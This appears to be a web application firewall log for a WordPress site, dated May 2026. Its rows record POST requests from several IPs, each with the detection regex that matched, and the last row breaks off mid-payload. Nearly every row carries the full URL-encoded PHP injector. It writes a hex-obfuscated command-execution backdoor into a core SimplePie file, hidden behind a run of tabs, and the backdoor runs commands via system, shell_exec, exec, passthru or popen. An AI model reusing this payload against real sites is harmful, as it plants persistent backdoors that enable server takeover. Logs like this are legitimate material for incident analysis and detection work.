["2026-05-12 10:46:50","129.121.41.228","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Nm:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Misc.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524object1%2520%253D%2520%252773%2527%253B%2524object2%2520%253D%2520%252779%2527%253B%2524object3%2520%253D%2520%25276d%2527%253B%2524object4%2520%253D%2520%252768%2527%253B%2524object5%2520%253D%2520%252765%2527%253B%2524object6%2520%253D%2520%252763%2527%253B%2524object7%2520%253D%2520%252778%2527%253B%2524object8%2520%253D%2520%252770%2527%253B%2524object9%2520%253D%2520%252761%2527%253B%2524object10%2520%253D%2520%252774%2527%253B%2524object11%2520%253D%2520%252772%2527%253B%2524object12%2520%253D%2520%25276e%2527%253B%2524object13%2520%253D%2520%252767%2527%253B%2524object14%2520%253D%2520%25276f%2527%253B%2524object15%2520%253D%2520%25276c%2527%253B%2524object16%2520%253D%2520%252771%2527%253B%2524config_manager1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524object1%2520.%2520%2524object2%2520.%2520%2524object1%2520.%2520%252774%2527%2520.%2520%252765%2527%2520.%2520%2524object3%2529%253B%2524config_manager2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527%2520.%2520%2524object4%2520.%2520%2524object5%2520.%2520%25276c%2527%2520.%2520%25276c%2527%2520.%2520%25275f%2527%2520.%2520%252765%2527%2520.%2520%252778%2527%2520.%2520%252765%2527%2520.%2520%2524object6%2529%253B%2524config_manager3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524object5%2520.%2520%2524object7%2520.%2520%252765%2527%2520.%2520%252763%2527%2529%253B%2524config_manager4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524object8%2520.%2520%2524object9%2520.%2520%252773%2527%2520.%2520%2524object1%2520.%2520%2524object10%2520.%2520%252768%2527%2520.%2520%2524object11%2520.%2520%252775%2527%2529%253B%2524config_manager5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527%2520.%2520%25276f%2527%2520.%2520%252770%2527%2520.%2520%252765%2527%2520.%2520%2524object12%2529%253B%2524config_manager6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524object1%2520.%2520%2524object10%2520.%2520%2524object11%2520.%2520%252765%2527%2520.%2520%252761%2527%2520.%2520%25276d%2527%2520.%2520%25275f%2527%2520.%2520%2524object13%2520.%2520%252765%2527%2520.%2520%252774%2527%2520.%2520%25275f%2527%2520.%2520%252763%2527%2520.%2520%2524object14%2520.%2520%25276e%2527%2520.%2520%2524object10%2520.%2520%252765%2527%2520.%2520%25276e%2527%2520.%2520%252774%2527%2520.%2520%2524object1%2529%253B%2524config_manager7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527%2520.%2520%2524object6%2520.%2520%2524object15%2520.%2520%2524object14%2520.%2520%252773%2527%2520.%2520%252765%2527%2529%253B%2524query_handler%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524object16%2520.%2520%252775%2527%2520.%2520%252765%2527%2520.%2520%2524object11%2520.%2520%252779%2527%2520.%2520%25275f%2527%2520.%2520%252768%2527%2520.%2520%2524object9%2520.%2520%25276e%2527%2520.%2520%252764%2527%2520.%2520%2524object15%2520.%2520%252765%2527%2520.%2520%2524object11%2529%253Bif%2528isset%2528%2524_POST%255B%2524query_handler%255D%2529%2529%257B%2524query_handler%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524query_handler%255D%2529%253Bif%2528function_exists%2528%2524config_manager1%2529%2529%257B%2524config_manager1%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524config_manager2%2529%2529%257Bprint%2520%2524config_manager2%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524config_manager3%2529%2529%257B%2524config_manager3%2528%2524query_handler%252C%2524mrk_val%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524mrk_val%2529%253B%257Delseif%2528function_exists%2528%2524config_manager4%2529%2529%257B%2524config_manager4%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524config_manager5%2529%2526%2526function_exists%2528%2524config_manager6%2529%2526%2526function_exists%2528%2524config_manager7%2529%2529%257B%2524desc_entity%253D%2524config_manager5%2528%2524query_handler%252C%2522r%2522%2529%253Bif%2528%2524desc_entity%2529%257B%2524key_pset%253D%2524config_manager6%2528%2524desc_entity%2529%253B%2524config_manager7%2528%2524desc_entity%2529%253Bprint%2520%2524key_pset%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\naccept:*\/*\naccept-encoding:gzip,deflate\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvGz0vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyhL2k1MTHvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:7268\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\nNm=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Misc.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524object1%2520%253D%2520%252773%2527%253B%2524object2%2520%253D%2520%252779%2527%253B%2524object3%2520%253D%2520%25276d%2527%253B%2524object4%2520%253D%2520%252768%2527%253B%2524object5%2520%253D%2520%252765%2527%253B%2524object6%2520%253D%2520%252763%2527%253B%2524object7%2520%253D%2520%252778%2527%253B%2524object8%2520%253D%2520%252770%2527%253B%2524object9%2520%253D%2520%252761%2527%253B%2524object10%2520%253D%2520%252774%2527%253B%2524object11%2520%253D%2520%252772%2527%253B%2524object12%2520%253D%2520%25276e%2527%253B%2524object13%2520%253D%2520%252767%2527%253B%2524object14%2520%253D%2520%25276f%2527%253B%2524object15%2520%253D%2520%25276c%2527%253B%2524object16%2520%253D%2520%252771%2527%253B%2524config_manager1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524object1%2520.%2520%2524object2%2520.%2520%2524object1%2520.%2520%252774%2527%2520.%2520%252765%2527%2520.%2520%2524object3%2529%253B%2524config_manager2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527%2520.%2520%2524object4%2520.%2520%2524object5%2520.%2520%25276c%2527%2520.%2520%25276c%2527%2520.%2520%25275f%2527%2520.%2520%252765%2527%2520.%2520%252778%2527%2520.%2520%252765%2527%2520.%2520%2524object6%2529%253B%2524config_manager3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524object5%2520.%2520%2524object7%2520.%2520%252765%2527%2520.%2520%252763%2527%2529%253B%2524config_manager4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524object8%2520.%2520%2524object9%2520.%2520%252773%2527%2520.%2520%2524object1%2520.%2520%2524object10%2520.%2520%252768%2527%2520.%2520%2524object11%2520.%2520%252775%2527%2529%253B%2524config_manager5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527%2520.%2520%25276f%2527%2520.%2520%252770%2527%2520.%2520%252765%2527%2520.%2520%2524object12%2529%253B%2524config_manager6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524object1%2520.%2520%2524object10%2520.%2520%2524object11%2520.%2520%252765%2527%2520.%2520%252761%2527%2520.%2520%25276d%2527%2520.%2520%25275f%2527%2520.%2520%2524object13%2520.%2520%252765%2527%2520.%2520%252774%2527%2520.%2520%25275f%2527%2520.%2520%252763%2527%2520.%2520%2524object14%2520.%2520%25276e%2527%2520.%2520%2524object10%2520.%2520%252765%2527%2520.%2520%25276e%2527%2520.%2520%252774%2527%2520.%2520%2524object1%2529%253B%2524config_manager7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527%2520.%2520%2524object6%2520.%2520%2524object15%2520.%2520%2524object14%2520.%2520%252773%2527%2520.%2520%252765%2527%2529%253B%2524query_handler%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524object16%2520.%2520%252775%2527%2520.%2520%252765%2527%2520.%2520%2524object11%2520.%2520%252779%2527%2520.%2520%25275f%2527%2520.%2520%252768%2527%2520.%2520%2524object9%2520.%2520%25276e%2527%2520.%2520%252764%2527%2520.%2520%2524object15%2520.%2520%252765%2527%2520.%2520%2524object11%2529%253Bif%2528isset%2528%2524_POST%255B%2524query_handler%255D%2529%2529%257B%2524query_handler%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524query_handler%255D%2529%253Bif%2528function_exists%2528%2524config_manager1%2529%2529%257B%2524config_manager1%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524config_manager2%2529%2529%257Bprint%2520%2524config_manager2%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524config_manager3%2529%2529%257B%2524config_manager3%2528%2524query_handler%252C%2524mrk_val%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524mrk_val%2529%253B%257Delseif%2528function_exists%2528%2524config_manager4%2529%2529%257B%2524config_manager4%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524config_manager5%2529%2526%2526function_exists%2528%2524config_manager6%2529%2526%2526function_exists%2528%2524config_manager7%2529%2529%257B%2524desc_entity%253D%2524config_manager5%2528%2524query_handler%252C%2522r%2522%2529%253Bif%2528%2524desc_entity%2529%257B%2524key_pset%253D%2524config_manager6%2528%2524desc_entity%2529%253B%2524config_manager7%2528%2524desc_entity%2529%253Bprint%2520%2524key_pset%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:46:52","78.142.18.172","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> BC:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Misc.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524object1%2520%253D%2520%252773%2527%253B%2524object2%2520%253D%2520%252779%2527%253B%2524object3%2520%253D%2520%25276d%2527%253B%2524object4%2520%253D%2520%252768%2527%253B%2524object5%2520%253D%2520%252765%2527%253B%2524object6%2520%253D%2520%252763%2527%253B%2524object7%2520%253D%2520%252778%2527%253B%2524object8%2520%253D%2520%252770%2527%253B%2524object9%2520%253D%2520%252761%2527%253B%2524object10%2520%253D%2520%252774%2527%253B%2524object11%2520%253D%2520%252772%2527%253B%2524object12%2520%253D%2520%25276e%2527%253B%2524object13%2520%253D%2520%252767%2527%253B%2524object14%2520%253D%2520%25276f%2527%253B%2524object15%2520%253D%2520%25276c%2527%253B%2524object16%2520%253D%2520%252771%2527%253B%2524config_manager1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524object1%2520.%2520%2524object2%2520.%2520%2524object1%2520.%2520%252774%2527%2520.%2520%252765%2527%2520.%2520%2524object3%2529%253B%2524config_manager2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527%2520.%2520%2524object4%2520.%2520%2524object5%2520.%2520%25276c%2527%2520.%2520%25276c%2527%2520.%2520%25275f%2527%2520.%2520%252765%2527%2520.%2520%252778%2527%2520.%2520%252765%2527%2520.%2520%2524object6%2529%253B%2524config_manager3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524object5%2520.%2520%2524object7%2520.%2520%252765%2527%2520.%2520%252763%2527%2529%253B%2524config_manager4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524object8%2520.%2520%2524object9%2520.%2520%252773%2527%2520.%2520%2524object1%2520.%2520%2524object10%2520.%2520%252768%2527%2520.%2520%2524object11%2520.%2520%252775%2527%2529%253B%2524config_manager5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527%2520.%2520%25276f%2527%2520.%2520%252770%2527%2520.%2520%252765%2527%2520.%2520%2524object12%2529%253B%2524config_manager6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524object1%2520.%2520%2524object10%2520.%2520%2524object11%2520.%2520%252765%2527%2520.%2520%252761%2527%2520.%2520%25276d%2527%2520.%2520%25275f%2527%2520.%2520%2524object13%2520.%2520%252765%2527%2520.%2520%252774%2527%2520.%2520%25275f%2527%2520.%2520%252763%2527%2520.%2520%2524object14%2520.%2520%25276e%2527%2520.%2520%2524object10%2520.%2520%252765%2527%2520.%2520%25276e%2527%2520.%2520%252774%2527%2520.%2520%2524object1%2529%253B%2524config_manager7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527%2520.%2520%2524object6%2520.%2520%2524object15%2520.%2520%2524object14%2520.%2520%252773%2527%2520.%2520%252765%2527%2529%253B%2524query_handler%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524object16%2520.%2520%252775%2527%2520.%2520%252765%2527%2520.%2520%2524object11%2520.%2520%252779%2527%2520.%2520%25275f%2527%2520.%2520%252768%2527%2520.%2520%2524object9%2520.%2520%25276e%2527%2520.%2520%252764%2527%2520.%2520%2524object15%2520.%2520%252765%2527%2520.%2520%2524object11%2529%253Bif%2528isset%2528%2524_POST%255B%2524query_handler%255D%2529%2529%257B%2524query_handler%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524query_handler%255D%2529%253Bif%2528function_exists%2528%2524config_manager1%2529%2529%257B%2524config_manager1%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524config_manager2%2529%2529%257Bprint%2520%2524config_manager2%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524config_manager3%2529%2529%257B%2524config_manager3%2528%2524query_handler%252C%2524mrk_val%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524mrk_val%2529%253B%257Delseif%2528function_exists%2528%2524config_manager4%2529%2529%257B%2524config_manager4%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524config_manager5%2529%2526%2526function_exists%2528%2524config_manager6%2529%2526%2526function_exists%2528%2524config_manager7%2529%2529%257B%2524desc_entity%253D%2524config_manager5%2528%2524query_handler%252C%2522r%2522%2529%253Bif%2528%2524desc_entity%2529%257B%2524key_pset%253D%2524config_manager6%2528%2524desc_entity%2529%253B%2524config_manager7%2528%2524desc_entity%2529%253Bprint%2520%2524key_pset%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\ncontent-length:7268\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvDxZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2gyMPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-ch-ua-mobile:?0\n\nBC=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Misc.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524object1%2520%253D%2520%252773%2527%253B%2524object2%2520%253D%2520%252779%2527%253B%2524object3%2520%253D%2520%25276d%2527%253B%2524object4%2520%253D%2520%252768%2527%253B%2524object5%2520%253D%2520%252765%2527%253B%2524object6%2520%253D%2520%252763%2527%253B%2524object7%2520%253D%2520%252778%2527%253B%2524object8%2520%253D%2520%252770%2527%253B%2524object9%2520%253D%2520%252761%2527%253B%2524object10%2520%253D%2520%252774%2527%253B%2524object11%2520%253D%2520%252772%2527%253B%2524object12%2520%253D%2520%25276e%2527%253B%2524object13%2520%253D%2520%252767%2527%253B%2524object14%2520%253D%2520%25276f%2527%253B%2524object15%2520%253D%2520%25276c%2527%253B%2524object16%2520%253D%2520%252771%2527%253B%2524config_manager1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524object1%2520.%2520%2524object2%2520.%2520%2524object1%2520.%2520%252774%2527%2520.%2520%252765%2527%2520.%2520%2524object3%2529%253B%2524config_manager2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527%2520.%2520%2524object4%2520.%2520%2524object5%2520.%2520%25276c%2527%2520.%2520%25276c%2527%2520.%2520%25275f%2527%2520.%2520%252765%2527%2520.%2520%252778%2527%2520.%2520%252765%2527%2520.%2520%2524object6%2529%253B%2524config_manager3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524object5%2520.%2520%2524object7%2520.%2520%252765%2527%2520.%2520%252763%2527%2529%253B%2524config_manager4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524object8%2520.%2520%2524object9%2520.%2520%252773%2527%2520.%2520%2524object1%2520.%2520%2524object10%2520.%2520%252768%2527%2520.%2520%2524object11%2520.%2520%252775%2527%2529%253B%2524config_manager5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527%2520.%2520%25276f%2527%2520.%2520%252770%2527%2520.%2520%252765%2527%2520.%2520%2524object12%2529%253B%2524config_manager6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524object1%2520.%2520%2524object10%2520.%2520%2524object11%2520.%2520%252765%2527%2520.%2520%252761%2527%2520.%2520%25276d%2527%2520.%2520%25275f%2527%2520.%2520%2524object13%2520.%2520%252765%2527%2520.%2520%252774%2527%2520.%2520%25275f%2527%2520.%2520%252763%2527%2520.%2520%2524object14%2520.%2520%25276e%2527%2520.%2520%2524object10%2520.%2520%252765%2527%2520.%2520%25276e%2527%2520.%2520%252774%2527%2520.%2520%2524object1%2529%253B%2524config_manager7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527%2520.%2520%2524object6%2520.%2520%2524object15%2520.%2520%2524object14%2520.%2520%252773%2527%2520.%2520%252765%2527%2529%253B%2524query_handler%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524object16%2520.%2520%252775%2527%2520.%2520%252765%2527%2520.%2520%2524object11%2520.%2520%252779%2527%2520.%2520%25275f%2527%2520.%2520%252768%2527%2520.%2520%2524object9%2520.%2520%25276e%2527%2520.%2520%252764%2527%2520.%2520%2524object15%2520.%2520%252765%2527%2520.%2520%2524object11%2529%253Bif%2528isset%2528%2524_POST%255B%2524query_handler%255D%2529%2529%257B%2524query_handler%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524query_handler%255D%2529%253Bif%2528function_exists%2528%2524config_manager1%2529%2529%257B%2524config_manager1%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524config_manager2%2529%2529%257Bprint%2520%2524config_manager2%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524config_manager3%2529%2529%257B%2524config_manager3%2528%2524query_handler%252C%2524mrk_val%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524mrk_val%2529%253B%257Delseif%2528function_exists%2528%2524config_manager4%2529%2529%257B%2524config_manager4%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524config_manager5%2529%2526%2526function_exists%2528%2524config_manager6%2529%2526%2526function_exists%2528%2524config_manager7%2529%2529%257B%2524desc_entity%253D%2524config_manager5%2528%2524query_handler%252C%2522r%2522%2529%253Bif%2528%2524desc_entity%2529%257B%2524key_pset%253D%2524config_manager6%2528%2524desc_entity%2529%253B%2524config_manager7%2528%2524desc_entity%2529%253Bprint%2520%2524key_pset%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:46:54","144.76.215.54","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Yu:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Misc.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524object1%2520%253D%2520%252773%2527%253B%2524object2%2520%253D%2520%252779%2527%253B%2524object3%2520%253D%2520%25276d%2527%253B%2524object4%2520%253D%2520%252768%2527%253B%2524object5%2520%253D%2520%252765%2527%253B%2524object6%2520%253D%2520%252763%2527%253B%2524object7%2520%253D%2520%252778%2527%253B%2524object8%2520%253D%2520%252770%2527%253B%2524object9%2520%253D%2520%252761%2527%253B%2524object10%2520%253D%2520%252774%2527%253B%2524object11%2520%253D%2520%252772%2527%253B%2524object12%2520%253D%2520%25276e%2527%253B%2524object13%2520%253D%2520%252767%2527%253B%2524object14%2520%253D%2520%25276f%2527%253B%2524object15%2520%253D%2520%25276c%2527%253B%2524object16%2520%253D%2520%252771%2527%253B%2524config_manager1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524object1%2520.%2520%2524object2%2520.%2520%2524object1%2520.%2520%252774%2527%2520.%2520%252765%2527%2520.%2520%2524object3%2529%253B%2524config_manager2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527%2520.%2520%2524object4%2520.%2520%2524object5%2520.%2520%25276c%2527%2520.%2520%25276c%